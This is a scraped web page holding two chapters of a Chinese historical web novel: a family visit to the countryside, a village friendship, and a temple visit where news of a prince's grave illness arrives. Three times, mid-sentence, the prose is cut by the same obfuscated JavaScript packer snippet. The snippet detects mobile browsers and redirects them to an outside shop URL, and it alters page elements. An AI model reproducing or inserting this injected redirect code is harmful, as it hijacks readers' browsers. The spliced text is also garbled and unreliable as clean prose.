渔娘忙关心道:“师娘哪里不舒坦?” 于氏皱着眉头,一手捂住胸口,孙浔叹气道:“昨晚你师娘就上没睡好,早上又没什么胃口,坐马车摇摇晃晃过来,她说心里难受得紧,脑袋也发晕。” 渔娘猜测是晕车了,连忙扶着师娘:“咱们先回屋躺下谢谢你吧,要是下午还难受,使人去白云观请李道长来家里看看。” 于氏露出个笑:“哪里好叫李道长跑一趟,待我歇一歇,下午就好了。” 林氏和阮氏都过来关心,见于氏还有力气说话,估摸着问题不大,林氏道:“师嫂说得对,咱们先回去歇一歇。” 孙浔扶着妻子走在前头,林氏和阮氏走在一旁,渔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14079286|149462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘落后一步,梅长湖把小儿子往女儿怀里一塞:“你带着二郎先回家,我去地里瞧瞧。” 渔娘接过她爹塞过来的弟弟,只抱到大门口就把他放下了。 渔娘甩了甩酸疼的胳膊:“抱不起了,你自己走。” “姐姐。”不想自己走。 “别撒娇,没用,我可不是爹,你说要干什么就干什么。” 贺二郎又扭头望向平日里伺候他的管事梅竹,伸手要抱。 梅竹看了眼板着脸的大娘子,也不敢抱,只好哄着他:“小主子,您自己走两步,这会儿多走走,一会儿用午食时才能多吃两口好吃的。上回您不是还说村里的鸡好吃吗?一会儿后厨肯定会杀鸡吃,您不想多吃两口?” 贺二郎想了想,最终还是美食占上风,他终于舍得迈着粗壮的小短腿走起来。 渔娘想叹气,这个臭小子,怎么就这么爱吃不爱动呢。 清溪村梅家。 当年梅家从淮安来到南溪县,听说清溪村的富户张家卖地要走,梅长湖全盘接了下来。 梅长湖给银子痛快,张家秉承着卖熟不卖生省事儿的想法,张家在清溪村这座二进的院子也卖给了梅长湖。 梅家在清溪村住了五六年,待到渔娘要开蒙读书时,一家人才搬到县城常住。 孙家和梅家关系亲密,梅家住在清溪村时,孙浔夫妻俩每年都会来清溪村住几个月,家里常备着他们夫妻的房间。 渔娘去师娘房间里看了看,屋里都干净,洗漱的水盆毛巾、茶水等都备齐了,不用她操心,她陪了会儿师娘,见师娘要休息了才出门。 孙浔问道:“你爹去哪儿了?” 渔娘:“去地里看粮食去了。” 孙浔笑道:“今年风调雨顺,是个丰收年,去地里走走看看也好,心里舒坦。” 梅长湖此时心里确实舒坦,从张家手里买来的一百多亩地都是好地,今年又是丰收年,收成可好着呢。 “梅老爷,来看地呀。” 家里小孙子来地里送信,说是梅家人来了,白里正正想去梅家走一趟,没想到在地里就碰上了。 梅长湖笑着跟里正道:“里正家的水稻长得不错,一亩地总要比去年多收两斗吧。” 里正咧嘴笑:“能的,能的。我正想找梅老爷说呢,今年村里丰收,粮食收得多,想往外卖些,托您帮着问问价,别叫大家伙儿吃亏。” “应该的,过几日我叫管家去各家粮铺里打听打听。” “哎,那我就替大家伙儿先谢过梅老爷了。” “里正别客气,我家虽是外来的,在清溪村住了许多年,又生了孩子,咱们都是一家人。” “哈哈,梅老爷说的是。” 当年正逢战乱,梅家一个外来户想迅速站稳脚跟,肯定要好好打算一番。 清溪村不是一姓村,不像一姓村那般排外,梅家买了清溪村大地主张家的房和地厚,为了拉拢跟村里的关系,梅长湖帮村里建了两间土屋当私塾,花点银子请了个老童生教书,清溪村的人就把梅家当自己人了。 平日里,梅长湖帮村民问问粮价,村民在县里遇到事儿了,请梅长湖出面说句话,这都是梅长湖跟乡亲之间的默契。 里正陪着梅长湖去地里走了一圈,待到快用午食时,梅长湖热情邀请里正去家里用午食,里正推说家里已经做好了,下回,下回。 梅长湖也不强邀,在路口跟里正说了两句秋收后的徭役,县里要修路之类的事儿,就各自家去。 8. 第 8 章 于氏在房里歇息了会儿,中午用了顿午食,就缓过神来了,下午在屋里品茶,跟林氏、阮氏说笑都有力气了。 孙浔和梅长湖两人在院子里下棋,听到屋里的说笑声,孙浔笑着跟梅长湖说起秋粮的事。 “这一二年里风调雨顺,都是好年景,今年的秋粮只怕卖不上价。” 梅长湖也有所感:“粮价若是想卖高一些,只能往北方卖。可今年关中、江浙这些产粮区也丰收了,若要是往北卖,从关中运可比从巴蜀运去北方便宜。” “若是要在本地卖,只能卖给酒坊了。” 叙州府附近的州县,酒坊可不少。 “新粮若是卖不上价,卖旧粮,存新粮,不失为一个好办法。” 孙浔落下一子,淡淡道:“就算丰收,普通百姓哪能存下多少粮食。” 普通农户之家并没有多少良田,交税后剩下的粮食也不会放开了吃。就算是丰年卖粮,那也是从牙缝中挤出来的,卖粮得的银钱,家里另有他用,翻修房子,给长大的孩子娶妻,家里裁剪两身新衣裳,哪里都是花销。 对普通百姓来说,哪有旧年存粮卖,卖的都是新粮。 孙浔看着梅长湖笑道:“也不用丧气,这十余年,清溪村年轻一代的孩子识得几个字,也敢去县里找活儿干,皆是有赖于师弟你在村里修的村学,清溪村已经比周围其他许多村过得好了。” 梅长湖也为此高兴:“当初修建村学也是临时起意。” 大人在家里闲聊,渔娘在家待不住,换了身轻便的衣裳,带着丫头婆子出门去了。 “渔娘,你上哪儿去?” “去山上瞧瞧,虽已入秋了,天气还炎热,我想去南山上瞧瞧还有没有菌子。” 张家大娘子站在河边招呼渔娘,渔娘快步走过去,伸长脖子瞧了一眼绑在河里的鱼篓,里面有两条巴掌大的鲫鱼。 “运气不错呀,居然抓到了两条。” “过来洗衣裳,前头放了个鱼耙子,顺便捞一耙子罢了。” 张大娘子把鱼篓解下来,递给渔娘:“这鱼刺多,我家里人不爱吃,你拿回去叫你家厨娘炖汤喝。” 张大娘子比渔娘大三岁,渔娘从小就认识她,也不跟她客气:“多谢张姐姐。” 小丫头小橘忙接过鱼篓子,往家里送去。 张大娘子笑道:“两条小鱼,也值得你客气一回。拿回去吃吧,也别想回送我什么,我家如今日子好过了,不差这点东西。” 渔娘故意笑问:“那我问你要一篓包蛋可也送我?” 张大娘眉头一挑,声音拔高半截:“哼,那可不行,人情归人情,买卖归买卖,养鸭子制了包蛋卖,这可是我家赚钱的生意,那可不能白送。” 渔娘忍不住大笑:“好好好,不白占张姐姐的便宜,张姐姐回去帮我捡三篓,一篓装三十个,下午我来找你买。” “你家,贺家和孙家,一家一篓是吧。行,我知道了,回头就给你家选三篓。” 张大娘子的衣裳洗好了,一手提着装了半篓洗好的衣裳,一手提着捞鱼的耙子。 “你去山里玩吧,我要家去了。我娘叫我炖烧一锅绿豆水晚上喝,我要回家干活儿去了。” “好嘞,我去山上瞧瞧,回来时若是早,我去你家里找你说说话。” 张大娘子响亮地哎了声,就家去了。 渔娘带着人上山去,家去送鱼的小橘赶了上来。 “娘子,奴婢把鱼篓还给张家大娘子了。” “还了就好。” 大丫头阿青笑道:“好长一段时日没见,张大娘子越发利落了。” 渔娘嗯了声:“张姐姐自小就是利落的小娘子。” 张家两儿一女,张大娘子是家里的大姐,家中大人要在地里忙碌,家里的两个弟弟都是她带大的。 渔娘认识张大娘子的时候张大娘子才五六岁的年纪,她身边就跟着两个小弟弟,不仅如此,张大娘子那时还管着家里的鸡鸭。待两个弟弟年纪稍长,离得人了,张大娘子就从她母亲手里接过家里的活儿,浆洗做饭打扫,家里的活没有她不做的。 几年前,张家的两个儿子送进私塾识字。在村里私塾读书虽然不要钱,但是笔墨纸砚这些是要花钱的。张家人靠种地挣的那点粮食银钱负担起来压力大,张大娘子为了给家里挣钱就更忙了。 渔娘教张大娘子认了几种南山上长得多的常见药材,比如黄连、金钱草、淡竹叶等,张大娘子挖了晒干送去药铺卖。偶尔挖到野山药,在树上摘到蜜蜂窝,从不自留,全送去卖了换银钱。 “张大娘子勤快,一个姑娘家就把一大家子操持得井井有条。张大娘子年纪也不小了,待她出嫁后,张家只怕要忙乱一阵。” 渔娘爬累了,一手撑着路边的柏树休息,擦了下额头的汗:“去年过年时听张姐姐说,她的两个弟弟不读书了,要去县里找活儿干,找着了吗?” “找着了,张家的大儿子人老实,因为识字,在县里北街上一个木匠铺子里当学徒。张家的二儿子像他姐姐,嘴皮子利索,在码头上给人跑腿。” “听大管家说,张家二儿子在邵家干活,因为会说会写,管事器重他,咱们家从淮安送来的布匹,有几回都是张家二儿子帮着送的。” 听到张家两个儿子都找到活儿干了,渔娘替张大娘子高兴:“张姐姐果真没有骗我,她家日子果然好过了。” 歇够了,继续往上爬,到了山腰处的松树林,在松针下翻找出一小篓松油菌、青头菌、黄皮鸡枞菌,可惜,都长得不大。 “头一两天没有下雨,菌子长不大也正常。这一小篓,勉强炒两盘吧。” 菌子没捡到多少,下山的时候渔娘眼见,看到路边乱石堆里长出来几片眼熟的叶子,忙叫人过去瞧瞧。 “主子,是株野山药的苗。” “呀,那可真好,正巧我们带了小锄头了,挖回家和母鸡一起炖来吃,滋补得很。” 阿青瞧见石头堆不远处丢着一堆晒干的藤蔓,阿青笑道:“应是有人发现了这里有山药怕人发现,把藤蔓扯了,就是不知道里头的山药挖没挖过。” 跟着来的小厮力气大,把地面上的石头搬走,地上露出一个小腿高的坑,使着小锄头往下挖,一会儿就挖出来一大截儿野山药。 “咱们运气不错,山药没被挖走。全部挖出来应该有个两三斤。” 渔娘拍掌笑道:“算我们捡便宜了。” “山上的野物,谁挖到算谁的,也不算我们捡便宜,是娘子运气好。” 渔娘也不管这些,待山药都挖出来了,就赶着下山去。渔娘出门时,后厨的鸡汤干炖上,这会儿赶回去,山药正好和鸡汤炖一锅。 走到山脚下,菌子和山药使人送回去,渔娘不着急家去,她去张家走了趟,张家人都在地里忙活,家里只有张大娘子在。 “张姐姐,忙不忙?” 张大娘在屋里应了声:“不忙,绿豆汤煮好了,我正给你家捡包蛋。你来得巧,一会儿带回去正好。” 渔娘领着人进张家的院子,张家院子瞧着很干净规整,除了院角左边摆着一台石磨,院子右边摆放着石桌、角落里种着橘子树、柚子树,还有一株刚爬墙的葡萄苗,一看就是今年才种上的。 “张姐姐,你家从哪儿弄的葡萄苗?这老苗的葡萄可好吃?” 张大娘子提着三篓包蛋从屋里出来:“我哪有本事弄这劳什子东西,这苗是我二弟跟主家去南方运货,从南方带回来种下的,老苗都没见过,结的果子好吃不好吃可不知道。” “等你家葡萄长出来了试试,若是好吃,你送我一截枝子,我家也种。” 以前也没关注这个,不知道南溪县谁家种葡萄。梅家偶尔也买葡萄吃,不过听管家说,都是外地送来的葡萄。 “行,等结果子了你来尝尝。” 阿青他们数完了包蛋,也结了账,张大娘子从屋里捧了五个包蛋放篓子里,跟渔娘说:“这五个是送你吃的,你可记着,这篓给你的,别送错了。” 渔娘挽着张大娘子胳膊:“嘿嘿,谢谢张姐姐,肯定不会弄错。” “你着急家去不?” 渔娘摇摇头:“不着急。” “那你留下喝碗绿豆汤再回吧。” 张大娘子去厨房端绿豆汤,阿青连忙跟主子道:“主子,奴婢和小橘先把包蛋送回去,留庄海在院门外伺候着。” 渔娘点点头:“你们去吧。” 张大娘子端着绿豆汤从厨房里出来,见只有渔娘坐在院子里石桌旁对她笑,张大娘子道:“阿青又走了?” “忙着把包蛋送回家去,你家做的包蛋好吃,我爹娘他们都喜欢,送回去他们肯定高兴。” “你呀,就别找由头啦。真是的,不过一碗绿豆汤罢了,炖汤多加一勺水的事,哪里会把我家吃穷了。” “别管他们,张姐姐快坐下歇歇。” 渔娘拉着张大娘子坐,张大娘舒坦地叹了口气道:“做这点活儿累不着什么,前几年才叫累呢。如今我弟弟们都找到活儿干了,这一两年又风调雨顺,地里收成好,饿不着,偶尔还能吃顿肉,好着呢。” 渔娘为张大娘子如今的好日子高兴,可:“张姐姐,你今年十七了吧,你婚事可有着落了?” 张大娘子点点头,她笑道:“说的是白水村的申家大儿子,跟我同岁。成亲的日子定在明年八月。” “还有小一年呢。” 渔娘惊讶,如今的普通人家少有把婚期定得这么远的,尤其是张大娘子年岁也不小了。 张大娘子眼角带笑:“我爹娘心疼我,我两个弟弟也心疼我,想多留我一年。” “我大弟弟说,等到明年他也会做些木活儿了,到时候给我打两口好箱子做嫁妆。我小弟弟也说要攒着月钱给我做嫁妆。” “那可真好。”渔娘发自内心道。 张大娘子摸摸渔娘的发丝,给她整理好额角的碎发:“我们村里人家跟你们家比不了,家里就这样的条件,我知道我爹娘对我好,这样就够了。没银子就挣,粮食不够吃就想办法,日子总会越过越好。” 渔娘点点头,她十分欣赏这般勇敢又勤快的姑娘,靠着自己的双手就能把日子越过越好。 “张姐姐,偷偷告诉你,淼娘年底也要成婚了,夫家是县里的开药铺的邓家。” 张大娘子一拍大腿,惊喜道:“好呀,我跟淼娘也认识,以后淼娘成了邓家的当家娘子,我去药铺卖药材,邓掌柜可能优先买我的药材?” 邓家采买的药材来自许多地方,比如南溪县,给邓家供应各种药材的药农就有许多。张大娘子不甘心只卖便宜的药材,她想跟邓掌柜做其他药材的买卖,可邓掌柜不收她的,说那些药材需要炮制,必须有经验的药农才做得好。 说起药材张大娘就发愁:“我虽没去过私塾,跟着我弟弟们也学了许多字,你抄写给我的药材册子上的字我都能认识大半了,我不懂炮制药材,邓掌柜教我,我不就会了么。他教我一场,我可以像我大弟弟学木匠一样,大不了前一两年炮制的药材送给他不赚钱就是了。” 渔娘轻咳一声:“只怕是不能,就算是淼娘嫁到邓家去,也帮不上你的忙。” 张大娘也想得通:“罢了,不成就不成吧。我家如今的日子过得去,少赚点卖药材的银钱就少赚点。” 说到药材册子,趁着渔娘在这儿,张大娘子回屋把册子拿出来,翻开册子,指着她不懂的字请教,渔娘一个字一个字地教她,告诉她是什么意思。 两人一边教一边学,不知不觉就傍晚了,张家人要回来了,渔娘也要家去了。 “张姐姐,这几日我都会在家里,你若是记不住,你再来找我便是。” 张大娘子收好书,送她出门:“行,明儿等我忙完了我还去找你。” 阿青一直候在门外,张大娘子道:“我就不送你了。” 渔娘摆摆手:“帮我跟你爹娘问好。” 渔娘到家,家里刚准备摆饭,二郎看到姐姐,立刻道:“姐姐,炖鸡,香。” 渔娘捏捏她的脸颊,笑着问:“野山药炖好了吗?” 二郎不懂什么意思,旁边站着的小厮忙道:“炖好了,三斤多野山药全部炖鸡汤里了,夫人听说炖了野山药,还说晚上要多喝一碗鸡汤。” 渔娘牵着弟弟进屋,一大家子都在,梅长湖瞟了眼女儿:“你这个丫头,去哪儿野了,不到用晚食的时辰就不知道回家?” “爹,不带您这样的,我要是在家坐着,您能吃得着野山药?对了,还有菌子呢,您不是最爱吃么。” “嘿,你这个不孝女,我说一句,你倒是有无数句等着你爹是不是?” 渔娘哼哼一声,不应声。 于氏招招手,渔娘把弟弟塞给她爹,跑到师娘身边坐下,关心道:“师娘身子骨可舒坦?” “好着呢,明儿爬南山不在话下。” 阮氏捂嘴笑道:“那咱们可说好了,明儿谁也不许坐滑杆,需得自己走上去。” 渔娘给于氏鼓劲儿:“师娘别怕,到时候您走不动了,咱们不坐滑杆,叫先生背您上去。” 孙浔闻言笑骂一句:“没名堂,知道使唤你先生了。” 一屋子人都大笑了起来。 林氏笑着冲管家招了招手,站在门外的管家躬身行了个礼,吩咐人摆饭。 鲫鱼豆腐、红烧杂菌、母鸡山药汤,再并几个时鲜小菜,这一顿饭叫人吃得那叫一个心满意足。 也是怪,明明县里离村里没有多远,在县里时吃的各色菜蔬也是新鲜的,也是同一个厨娘,但做出来就是菜就是不如在村里时鲜美。 吃饱喝足,也不耐烦动,歇息歇息,闲聊些家常,待到日暮西山,天色渐暗,各自回房洗漱,一夜好眠。 隔日巳时末,走了近两个时辰的山路,渔娘扶着师娘,身边还有她娘,阮婶婶,终于走到白云观了。 林妈妈先到一步,已经安排好了:“主子,客堂已经打点好了。” 林氏点点头,对于氏、阮氏道:“两位姐姐,咱们去客堂洗漱换身衣裳吧,可别着凉了。” 于氏、阮氏点点头:“费心了。” 渔娘也去客堂里换了身衣裳出来,打开门,看到李道长的弟子李晓月在一旁站着,看到她,冲她笑了笑。 渔娘一看就知道她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14079287|149462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为什么来找她:“阿青,给咱们晓月道长准备的糖呢?” 屋里伺候的丫头婆子们都低头憋笑。 “主子,您给晓月道长准备的糖在这儿呢。”阿青笑着把成人两个巴掌大的糖盒子送到主子手上。 李晓月期待地看着渔娘手里举着的糖盒子。 渔娘比同龄的十四岁小娘子长得高挑许多,李晓月举起手时,八岁的她身量还不高,根本拿不到,垫脚时扬起头,她右侧脸颊上淡红色的胎记十分显眼。 渔娘逗了她一下,把糖盒子放她手里,温声笑道:“今年我们只来最后一趟了,下次来就是明年开春后了,你可要省着吃。” “多谢梅小居士。” 李晓月冲渔娘笑:“林居士、于居士、阮居士他们去前殿上香去了,一会儿要去后殿找我师父说话,你要去吗?” “去,咱们也先去前殿上香。”渔娘牵着她的手:“你可见到我先生,我爹和我弟弟了吗?” “我刚才过来的时候,在大殿碰到孙居士、梅居士他们了。” 渔娘牵着李晓月去前殿,只见她爹累得躺坐在大殿门口的椅子上,她那个肉墩墩的弟弟蹲在她爹面前。 渔娘笑话她爹:“爹您可别嫌累,二郎还小呢,等他再长一二年,他这一生结实的肉,不知道能有多少斤,到时候背二郎上山才是你累的时候。” 梅长湖不高兴:“我就不能不上山?” “不能,每次我和娘催二郎走路你都拦着,既然你这般心疼二郎,以后出门二郎就让您背吧。” 梅长湖又想骂这个不孝女,孙浔道:“师弟,渔娘说得对,你该让二郎多走动走动才是,孩子长太胖了对身体也不好。” 渔娘忙点头:“就是就是。” 梅长湖累坏了,看了眼蹲地上的胖儿子无辜地看着他,梅长湖深深叹了口气:“这都入秋了,冬日里正是养膘的时候,他哪里减得了重哦。” 渔娘简直被气得不想说话了,果然,宠溺的爹和胖儿子是绝配。 孙浔顿时和弟子感同身受,也不想说话了,叫渔娘快进去大殿拜一拜三清老爷,一会儿他们去后殿。 渔娘拜完三清老爷出来:“先生,爹,走吧。” 二郎伸手要抱,渔娘不理他,一手牵着李晓月,一手扶着先生走了。 二郎转身看着他爹。 梅长湖又叹气,牵着二郎的手:“背你上山把你爹我累坏了,二郎啊,这会儿自己走好不好?” 二郎不愿意,可,也只能自己走着。 梅长湖牵着儿子的手慢慢腾腾地挪动着,等他们父子到后殿时,给梅长湖倒的茶只剩下一点温热了,李道长已经泡第二壶茶了。 梅长湖牵着儿子坐下,一口干了一杯茶,才觉得缓过气来。 “道长,我夫人身子可好?” 李道长含笑点头:“你们家照顾得精心,林夫人身子骨大好。” 李道长在俗家时曾是前朝御医家的小娘子,也曾入宫当过几年医女,后来他祖父卷入后宫争斗没了性命,又碰上改朝换代,家里人死的死散的散,李道长被人搭救入了道,几经辗转到了白云观,靠着一手医术给观里添了许多女香客,在南溪县一带颇有名声。 林氏、于氏、阮氏他们一年总会来两三趟白云观,除了给三清老爷上香之外,就是为了找李道长看诊,一些不好跟男大夫看的病症,在李道长面前会好开口一些。 林氏笑着瞥了梅长湖一眼:“哪里是他照顾的精心,我身子骨养得这般好,都是我家渔娘细心。几日吃一次药膳,该喝什么药茶,渔娘比我都记得牢。” 梅长湖腆着脸道:“渔娘是咱们两人的孩子,渔娘孝顺夫人,就是我关心夫人嘛。” 林氏懒得搭理他,只和于氏讲:“你身子虽也养得不错,到底底子差了些,咱们还是得听李道长的话,以后还要继续养着。” 渔娘道:“娘您别担心师娘,李道长给师娘开的食疗方子我都记着呢。” 于氏握着渔娘的手笑着跟李道长说:“也不知道我和她先生上辈子做了什么好吃,未得一子,却有渔娘这般体贴关心着,我和她先生心里呀,就跟喝了蜜水一般甜。” 阮氏有些羡慕:“还是小娘子贴心,我生了两个臭小子,要么长大往外跑了,要么整日在家气我。” 于氏笑道:“你家大郎成婚也有一载了吧,你且等等,左不过二三年,给你生上一两个孙子孙女,贴心的孩子多着呢。” “我也盼着呢。” 诊也看完了,茶也喝完了,他们也该告辞了,他们正要走时,李道长叫住他们,拿出一封信来。 “我与几位居士相交多年,有一事,我想告诉诸位,还请诸位不要外传。” 梅长湖和孙浔对视一眼,孙浔作出决定,接过信:“还请道长放心,我们绝不会外传。” 信不长,孙浔看完信后脸色严肃起来。 “师弟你也看看。” 梅长湖看完信,把信传给林氏,林氏又传给于氏,于氏看完传给阮氏,最后到渔娘手里。 当今大皇子病入膏肓!! 渔娘心头一惊! 当今大皇子素有贤名,皇帝曾在公开场合夸过大皇子孝顺聪慧,这可是皇帝最看重的皇子啊,还是嫡长,这要是没了,那还了得? 大皇子的亲娘出身普通,这样一个身后没有母族掣肘的皇子,没有世家影子的皇子,无论是对皇帝个人的喜好来说,还是对朝堂格局来说,都是一个十分好的继任者人选。 大皇子若是死了,平衡被打破,好不容易安定了十来年的天下,指不定又要乱起来。 别忘了,寒门还未成气候,大世家却缓过劲儿来了。 梅家、贺家、孙家都不是普通人家,世家和皇权之间的权力争斗如何惊心动魄,他们再知道不过。 “罢了,咱们这些偏安乡野之地的人也左右不了,交给天意吧。” 梅长湖一句交给天意,孙浔苦笑:“若是上天……可惜了百姓。” 林氏温声道:“多谢李道长的消息,让我们早有准备。” “林居士不必道谢,我也只是恰好收到这个消息罢了。” 李道长摸摸弟子的细软的头发,李晓月扭头冲师父笑。 午食了,三家在白云观用了一顿素斋,留下些香火钱,就准备下山归家了。 明明刚过午时一会儿,走出大殿,山风吹过来时渔娘浑身一抖,汗毛都竖起来了。 “阿娘,您冷不冷?” “不冷,这暖烘烘的天气,哪里冷来着。” 李道长牵着徒弟送走三家人,李晓月一蹦一跳的:“师父,梅家小娘子心地好,对我也好。” 李道长笑道:“你师叔说梅家小娘子命格不错。” 李道长有事要做,给徒弟安排了课业打发走。李晓月捧着一本医书去静室,见师叔师姐们在默读经书,她也翻开她的医书默读起来。 白云观大殿,李道长念经念到一半,突然停下,诚心拜了三拜。 弟子是个半路入道的修道者,俗心未除,请三清上尊原谅弟子。 过了片刻,大殿里又响起了念经声。 9. 第 9 章 南山上风景独好,到底寂寞了些,从山上下来,回到清溪村,田地里的粮食,路旁小儿嬉闹,鸡鸣狗吠,房舍飘出来的袅袅炊烟,归家的农人,这才是人间盛景。 赏着乡村景色,孙浔长舒一口气,只盼老天垂怜,让百姓们多过几天好日子吧。 大家心情都不怎么好,但毕竟走了这么多山路,胃口还是好的,吃完晚食后,去院子里散散。 孙浔见师弟心情不振,安慰道:“也不用如此沮丧,李道长从亲友处得到些许消息,也不知道真假,或许事情尚有转机。” 梅长湖点点头:“皇宫里的医术圣手多得很,说不准咱们看到信的时候,贵人的病已经治好了。” 渔娘没有先生和她爹那么乐观,这个时候,简单的风寒感冒都能死人,更别说得其他什么大病了。 渔娘提议:“爹,您给淮安那边去封信吧。” 梅长湖嗯了声,确实该去封信问问。京城若是生了变动,皇帝扶持的寒门和世家之间的斗争避免不了,主□□边就别把生意做大了,还是稳着些好。 阮氏踌躇片刻,才道:“我有件事想请教孙先生。” “阮夫人客气,您请说。” “我家两个孩子都将走科举之路,我听我家老爷说,天下承平,皇威日盛,且又肯扶持寒门及我等小家族,只要孩子认真读书科考,自能走出一条大路来,这以后……” “阮夫人毋需着急,二郎先不提,只说大郎去东山书院读书才两三月而已,明年二月会试大郎不会去,离下一回春闱还有三年有余,咱们且看个一二年再说。” 阮氏眉头微松:“不怕先生笑话,我膝下就这两个孩子,家里日子尚且过得去,若是叫他们去刀枪冷箭中博取功名前程,我宁愿他们在南溪县过一辈子悠闲日子。” 林氏只有一子,如今还小,但心里无比认同阮氏的话,无论什么高官厚禄,都比不得孩子的安康。 梅长湖轻吁口气,忍不住叹道:“真是岁月静好无波澜,祈愿平安度流年。” 当今皇上是个能人,作为小老百姓过了几年安稳日子,以为能长远,没想到太平日子这般难求。 晚上熄灯休息,梅长湖和林氏都睡不着,两人说着家里的打算。 梅长湖:“世事多艰,天下太平了几年,这一二年里,主□□边送了几回信过来,说咱们梅家人丁单薄,想叫咱们搬回淮安,一起把家业做大,恢复梅家上一辈的风光。” “我当初嫁你时就知你不是个有上进心的,你这般说,肯定是心动过,你是为着渔娘和文嘉吧。”林氏了解枕边人。 “还是夫人知我。” 他们夫妻一儿一女,儿子尚小,女儿却大了。他们的渔娘受她的先生和师娘教导长大,是个心怀宽广的小娘子,十分向往外面的天地,若是把渔娘拘在南溪县这个小地方,叫渔娘寻个本地普通男子嫁了,梅长湖到底有些不忍心。 林氏想到惊心动魄逃难的那一两年,感慨道:“外面的天地未必就是好,只不过渔娘年纪小,没见过外面才会心有向往。” 风光无限,也是危机无限。 就说那些大户人家吧,不是顶有钱有势,也不是顶富裕,只说淮安当年比梅家稍差些的普通有钱人家,明面上看起来光鲜,背后一肚子男盗女娼,谁若是把女儿嫁进这样的人家,一辈子不到死的那一日,都不算苦出头了。 嫁到这样的人家,别说出门游玩了,能过点安稳日子都是奢求。 “我警告你,不管以后如何,咱们家渔娘可不能嫁进那些人家。我就她一个闺女,我生她一场是盼着她过安生日子,不是让她去遭罪。” 梅长湖给林氏扯了扯被角:“行了,难道只你是亲娘,我是后爹不成?” “哼,别以为我不知道,你们这些男人,在外面喝了两口马尿就胡沁,随口就跟人称兄道弟了,把孩子的婚事许出去了。” “你可别冤枉我,我不是那样人儿。” 梅长湖也没心思感叹世事多艰了,一转身就假装睡过去了,林氏再叫他,他就不应声了。 林氏想着女儿的婚事,不知不觉,也睡去了。 三家人本来是想着来乡下悠闲几日,因为这事儿,隔日早上醒来,用了早食后,就准备回去了。 渔娘倒是想多留几日,可先生回县里有事儿,她爹要打发人去淮安问消息,阮婶婶也有事要回去跟贺叔商量。 渔娘抱着胖弟弟坐在屋檐下的椅子上,看奴仆把行李往马车上搬。 阮氏虽忙着回去,一大早起来拿了几样点心,打发人拿去里正家,找里正媳妇儿换些干盐菜带回去。 里正家媳妇儿是个实在人,给的干盐菜多,阮氏叫人把干盐菜分成三份,三家各一份。 阮氏对林氏道:“白里正家太客气了,咱们送的点心,换成铜钱都不够人家买腌盐菜的花销。” 虽说离南溪县不远的富顺县产井盐,别看离产地近,普通百姓买盐的花销也并不便宜。 比起用重盐腌制干盐菜,普通百姓为了省盐,多是一点薄盐腌酸泡菜吃。毕竟,腌一缸干盐菜用的盐巴,足够腌四五缸泡菜了。 林氏笑道:“白里正家跟别家不一样,白里正娘舅家就是富顺县的人,家里有人在盐井做工,白里正家托亲戚买盐便宜些,才舍得用这么多盐腌干盐菜吃。” 林氏嘴上这么说,也没想占白里正家便宜,扭头对林妈妈道:“前日咱们回来时带了半筐苹果,也就只吃了两三个,剩下的你留一半给下人们分了,另一半你给白家送去。” “是,奴婢这就去。” 张大娘子捧着书来梅家,见梅家下人忙着搬行李,她忙问渔娘:“你们前日才来,今儿就要走了?” “家中突然有事,先生他们着急回去,我也只能跟着回去了。” 张大娘子只觉得可惜:“我还想着你能多住几日呢。” 渔娘笑了笑,把怀中二郎交给阿青抱走,又叫张大娘子坐:“你可有不懂的要问我?” 张大娘子点点头:“来问你几个字,前日你教我了,我记得恍惚,今日就已然忘了。” “我瞧瞧。” 渔娘教张大娘子认字,她教一回,张大娘子照着重复两遍,等教完了后,她又自己默读了一遍,确认自己都记牢了后才放下了书。 “今年你家可还来?” “爹娘若是有空闲,肯定会常回来。” 张大娘子握住她的手:“等到冬日里,我家院子里的橘子成熟了你可要记得回来,我给你留半篓又大又红的。” 渔娘笑道:“最大最红的可轮不到咱们吃,鸟雀日日守着,最大最甜的好果子都被鸟雀吃了。” “哎,说得也是。”张大娘子忍不住笑了起来。 两人闲聊了会儿,张大娘子还有活儿要做,就先走了,走之前还说:“等秋收完了,我家去县里卖粮时,我去你家看你,你带我去周家,我有东西给淼娘。” 渔娘明白,张大娘子这是想提前给淼娘送添妆的礼,等淼娘出嫁时她肯定去不了。 “行,我在家等着你。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14079288|149462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 渔娘送张大娘子到门口,目送她离开。 “渔娘,快上车,咱们要回了。” “哎。” 回去的路上,渔娘没跟爹娘和弟弟坐同一辆马车,她跑去先生和师娘车上。 于氏见渔娘上马车,笑着拉了她一下:“回来村里两日就走了,心头可不高兴?” 渔娘假意不高兴道:“留还是走,去哪儿,不去哪儿,我又做不了主,哪里还敢不高兴。” 